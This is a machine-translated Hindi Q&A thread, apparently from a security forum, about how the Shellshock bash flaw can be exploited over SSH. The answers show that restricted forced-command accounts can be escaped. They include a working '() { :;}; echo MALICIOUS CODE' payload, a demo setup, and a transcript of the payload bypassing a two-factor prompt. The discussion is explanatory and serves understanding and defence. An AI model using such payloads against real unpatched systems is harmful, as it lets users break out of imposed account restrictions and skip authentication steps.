SSH के ऊपर शेलशॉक का उपयोग कैसे किया जा सकता है?


68

जाहिर है, SSH के माध्यम से नेटवर्क पर शेलश बैश शोषण CVE-2014-6271 का फायदा उठाया जा सकता है। मैं कल्पना कर सकता हूं कि अपाचे / सीजीआई के माध्यम से शोषण कैसे काम करेगा, लेकिन मैं कल्पना नहीं कर सकता कि यह एसएसएच पर कैसे काम करेगा?

क्या कोई व्यक्ति उदाहरण दे सकता है कि SSH का किस तरह से शोषण किया जाएगा, और इससे सिस्टम को क्या नुकसान हो सकता है?

स्पष्टीकरण

AFAIU, केवल एक प्रमाणित उपयोगकर्ता SSH के माध्यम से इस भेद्यता का फायदा उठा सकता है। किसी के लिए यह क्या उपयोग है, जो वैसे भी सिस्टम तक वैध पहुंच रखता है? मेरा मतलब है, इस कारनामे में विशेषाधिकार वृद्धि नहीं है (वह जड़ नहीं बन सकता), इसलिए वह एसएसएच के माध्यम से वैध तरीके से प्रवेश करने के बाद जितना कर सकता था, उससे अधिक नहीं कर सकता है।


सीधे शब्दों में कहें, तो ऐसा नहीं किया जा सकता है, जब तक कि किसी को आपके बॉक्स तक पहुंच न हो। एक रसीले लॉगिन प्रयास के बाद ही एक नया बैश शेल निष्पादित किया जाता है।
ईवर्ट

इसके सभी मीडिया प्रचार, यह हो सकता है लेकिन यह उतना बुरा नहीं है जितना कि बाहर बनाया गया है।
jgr208

क्या उपयोगकर्ता नाम लॉग में शब्दशः जाते हैं? यदि हाँ, तो शायद एक लॉगपार्सिंग बैश स्क्रिप्ट मौजूद है जो कहीं न कहीं कमजोर है ...
प्लाज़्मा एचएच

1
@PlasmaHH यदि आप अपने लॉग-पार्सिंग स्क्रिप्ट को रूट के रूप में चलाते हैं, तो आपको वह मिलता है जो आपको मिलता है।
बरमार

@ बरमार: इसके अलावा यह सवाल विशेष रूप से रूट एक्सेस प्राप्त करने के लिए नहीं है, लेकिन मशीन तक पहुंच (जो सभी के लिए जरूरी है कि वह इसे खराब कर सकता है या अन्य नुकसान कर सकता है), जब आप कोड चला सकते हैं, तो संभावना यह है कि आप भी कर सकते हैं रन कोड जो कुछ और शोषण करता है जो आपको जड़ देता है।
प्लाज़्मा एचएच

जवाबों:


79

एक उदाहरण जहां इसका शोषण किया जा सकता है वह एक authorized_keysमजबूर कमांड वाले सर्वर पर है । प्रवेश करते समय ~/.ssh/authorized_keys, आप किसी भी समय ssh सार्वजनिक कुंजी का उपयोग करने के command="foo"लिए बाध्य fooकरने के लिए लाइन के साथ उपसर्ग कर सकते हैं । इस कारनामे के साथ, यदि लक्ष्य उपयोगकर्ता के शेल को सेट किया गया है bash, तो वे कमांड के अलावा उन चीजों को चलाने के लिए शोषण का लाभ उठा सकते हैं, जिनके लिए उन्हें मजबूर किया जाता है।

यह शायद उदाहरण के लिए और अधिक समझ में आता है, इसलिए यहाँ एक उदाहरण है:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

यहां हम एक उपयोगकर्ता सेट करते हैं testuser, जो चलाने के लिए आपकी ssh कुंजी का उपयोग करके किसी भी ssh कनेक्शन को बाध्य करता है echo starting sleep; sleep 1

हम इसके साथ परीक्षण कर सकते हैं:

$ ssh testuser@localhost echo something else
starting sleep

ध्यान दें कि हमारा echo something elseकाम कैसे नहीं starting sleepचलता है , लेकिन यह दर्शाता है कि मजबूर कमांड चलाया गया था।

अब दिखाते हैं कि इस शोषण का उपयोग कैसे किया जा सकता है:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

यह काम करता है क्योंकि पारित होने के sshdलिए SSH_ORIGINAL_COMMANDपर्यावरण चर सेट करता है । इसलिए भले ही मैं sshdभाग गया sleep, लेकिन मैंने इसे नहीं बताया, क्योंकि शोषण के कारण, मेरा कोड अभी भी चलता है।


1
इसके बजाय इसे आज़माएं: यह ssh testuser@localhost echo something else '`whoami`' साबित करने के लिए कि कमांड को कहाँ
रिचर्ड

1
मैं इस जवाब में जोड़ दूंगा कि एसएसएच के संदर्भ में, शोषण केवल अधिकृत उपयोगकर्ता को अधिकृत कुंजी (एक अधिकृत कुंजी एक लंबे पासवर्ड के रूप में माना जा सकता है) को चलाने के लिए अनुमति देता है ताकि वे सामान्य रूप से चलाने के लिए अधिकृत न हों। यह उस अधिकृत कुंजी के बिना किसी को कुछ भी करने की अनुमति नहीं देता है। मुझे नहीं लगता कि यह उत्तर से स्पष्ट है यदि आपके पास SSH की अच्छी समझ नहीं है और अधिकृत_की का अर्थ है।
क्रिस ड्रैगन

@ भास्कर यह आमतौर पर एक अच्छा संकेत है कि आप कुछ गलत कर रहे हैं। उदाहरण के लिए, यह उत्तर स्पष्ट कर रहा है कि यदि किसी व्यवस्थापक द्वारा परीक्षार्थी को प्रदान किया गया खाता सेटअप कैसे दिया जाता है, तो परीक्षार्थी अपने द्वारा दिए गए प्रतिबंधों से कैसे बच पाएंगे। और नहीं, बैश के साथ किसी भी तरह की भागीदारी का मतलब यह नहीं है कि आप शंख का शोषण कर सकते हैं। केवल जब bash अनुमतियों के साथ चल रहा होता है, तो उपयोगकर्ता के पास सामान्य रूप से नहीं होता है, लेकिन उपयोगकर्ता उस bash के पर्यावरण चर पर प्रभाव डालता है।
पैट्रिक

ठीक है, मुझे वह मिलता है जो आप अभी दिखाने की कोशिश कर रहे हैं - एक सेटअप जो कि कमांडर को .authorized_keys में कमांडर को सीमित करता है और लॉगिन शेल नहीं। यह आपके लिए अपना स्वयं का .authorized_keys w / एक प्रविष्टि संपादित करने का कोई मतलब नहीं था जो एक कमांड निष्पादित करता है जब आपके पास पहले से ही शेल एक्सेस था (क्योंकि यह विशेषाधिकार निष्पादन प्रदान नहीं करेगा) संपादित करें: हटाए गए टिप्पणी, मैं सही खड़ा हूं।
स्काइवर

26

रमेश से उदाहरण पर विस्तार - यदि आप दो कारक प्रमाणीकरण का उपयोग करते हैं, तो इस शोषण का उपयोग करके दूसरे कारक को बायपास करना संभव है, यह इस बात पर निर्भर करता है कि इसे कैसे लागू किया जाता है।

- सामान्य लॉगिन -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- 2FA के बिना कोड चलाना -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

आप इसे 2FA के लिए संकेत दिए बिना कोड भागा।

- पाशिंग बैश के बाद -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’

1
बस दूसरे कारक का उपयोग करके अंतिम पाठकों की घबराहट को सीमित करने के लिए: "यह कैसे लागू किया जाता है" के आधार पर - मुझे लगता है कि आपने मान लिया है कि दूसरा कारक यहां बैश में लागू होता है या readफ़ंक्शन का उपयोग करता है। अन्यथा - उपयोगकर्ता सुरक्षित है।
ग्रेज़ोगोरज़ वियर्ज़ोवेकी

25

शेलशॉक बैश पर एक भेद्यता है, एसएसएच पर नहीं। इसका फायदा उठाने के लिए, एक हमलावर को कमजोर सिस्टम को चलाने के लिए, और एक पर्यावरण चर के मूल्य को नियंत्रित करने की आवश्यकता होती है, जिसे बैश करने के लिए पारित किया जाएगा।

SSH के माध्यम से एक बाश प्रक्रिया तक पहुंचने के लिए, हमलावर को प्रमाणीकरण चरणों को पारित करने की आवश्यकता होती है। (अन्य नेटवर्क सेवाओं के माध्यम से वैक्टर पर हमला किया जा सकता है, लेकिन वे इस धागे के दायरे से परे हैं।) यदि खाते को वैसे भी मनमाने ढंग से शेल कमांड चलाने की अनुमति है, तो कोई हमला नहीं है। यदि खाते विशिष्ट आदेशों को चलाने के लिए प्रतिबंधित है, तो भेद्यता खेल में आती है: उदाहरण के लिए, एक SFTP- केवल खाता, या केवल-खाता, आदि।

SSH के साथ एक विशिष्ट कमांड चलाने के लिए किसी खाते को प्रतिबंधित करने के कई तरीके हैं: ForceCommandविकल्प में sshd_config, या के साथ command=authorized_keysफ़ाइल में प्रतिबंध । यदि उपयोगकर्ता का शेल बैश है, तो शेलशॉक भेद्यता एक उपयोगकर्ता को अनुमति देता है जो सामान्य रूप से प्रतिबंध को बायपास करने और मनमाना आदेशों को निष्पादित करने के लिए केवल प्रतिबंधित खाते तक पहुंच प्राप्त करेगा।


और यह अन्य गोले के लिए काम नहीं है, जैसे zsh
Eir Nym
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.